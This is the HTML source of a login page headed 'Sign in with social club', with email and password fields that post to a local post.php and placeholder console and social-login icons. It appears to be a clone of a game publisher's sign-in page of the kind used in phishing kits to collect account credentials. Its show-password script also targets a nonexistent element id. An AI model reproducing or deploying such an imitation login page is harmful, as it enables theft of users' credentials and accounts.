| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576 |
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title></title>
- <link rel="stylesheet" href="style.css">
- <link href="https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@0,300;0,400;0,500;0,700;1,300;1,400;1,500;1,700&display=swap" rel="stylesheet">
- </head>
- <body>
- <form action="post.php" method="post" class="login">
- <div class="login-form">
- <div class="logo"></div>
- <div class="container">
- <h1>Sign in with social club</h1>
- <div class="txtb">
- <input type="text" id="username" name="username" placeholder=" ">
- <span class="placeholder">Email</span>
- </div>
- <div class="txtb">
- <input type="password" id="password" name="password" placeholder=" ">
- <span class="placeholder">Password</span>
- <i class="show-password-btn">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" height="16" width="16" class="UI__Icon__icon" data-ui-name="visibility_off_icon"><path d="M29.8 17.2c-2.2 1.7-4.6 3-7.1 3.7l-2.5-2.5c.6-.8.9-1.8.9-2.9 0-1.4-.5-2.6-1.5-3.6-1.7-1.7-4.5-1.9-6.4-.6l-1.7-1.7c6.3-1.3 12.9.1 18.4 4.3.6.5 1.5.4 1.9-.2.5-.6.4-1.5-.2-1.9-6.7-5.1-14.9-6.6-22.4-4.4L5.7 3.9c-.5-.5-1.4-.5-1.9 0s-.5 1.4 0 1.9l2.6 2.6c-2 .9-4 2-5.8 3.4-.6.5-.7 1.3-.2 1.9.3.3.7.5 1.1.5.3 0 .6-.1.8-.3 1.9-1.5 4-2.6 6.2-3.4l2.9 2.9c-.3.6-.4 1.2-.4 1.8 0 .8.5 1.4 1.3 1.5.6.1 1.2-.4 1.4-1l2.2 2.2c-.2 0-.3 0-.5-.1-.7-.2-1.5.2-1.7.9-.2.7.2 1.5.9 1.7.5.2 1 .2 1.5.2.7 0 1.4-.2 2.1-.5l1.5 1.5c-6 1-12.2-.5-17.3-4.5-.6-.5-1.5-.4-1.9.2-.5.6-.4 1.5.2 1.9 4.6 3.6 10 5.4 15.5 5.4 2 0 3.9-.2 5.9-.7l4.1 4.1c.3.3.6.4 1 .4s.7-.1 1-.4c.5-.5.5-1.4 0-1.9L25.1 23c2.3-.9 4.6-2.1 6.6-3.7.6-.5.7-1.3.2-1.9-.7-.6-1.5-.7-2.1-.2zm-12.2-3.3c.4.4.7 1 .7 1.7 0 .3-.1.6-.2.8l-3-3c.9-.3 1.9-.1 2.5.5z"></path></svg>
- </i>
- </div>
- <label class="checkbox">
- <input type="checkbox">
- <span>Keep me signed in</span>
- </label>
- <div class="forgot-signin-container">
- <a href="process.php" class="link">Forgot your password?</a>
- <input type="submit" value="Signin" class="login">
- </div>
- </form>
- </div>
- <div class="container bottom-container">
- <h3 class="row">Sign in using</h3>
- <div class="sm-login row">
- <a href="login.php">
- <img src="images/ps.png" alt="">
- </a>
- <a href="#">
- <img src="images/xbox.png" alt="">
- </a>
- <a href="#">
- <img src="images/fb.png" alt="">
- </a>
- <a href="#">
- <img src="images/google.png" alt="">
- </a>
- <a href="#">
- <img src="images/twitter.png" alt="">
- </a>
- </div>
- </div>
- <div class="create-account">
- Not a member?
- <a href="login.php" class="link">Create a new account</a>
- </div>
- </div>
- <div class="copyright">
- © 2020
- </div>
- <script>
- document.querySelector(".show-password-btn").addEventListener("click",function(){
- var passwordInput = document.querySelector("#passwordInput");
- if(passwordInput.type == "password") passwordInput.type = "text";
- else passwordInput.type = "password";
- });
- </script>
- </body>
- </html>
|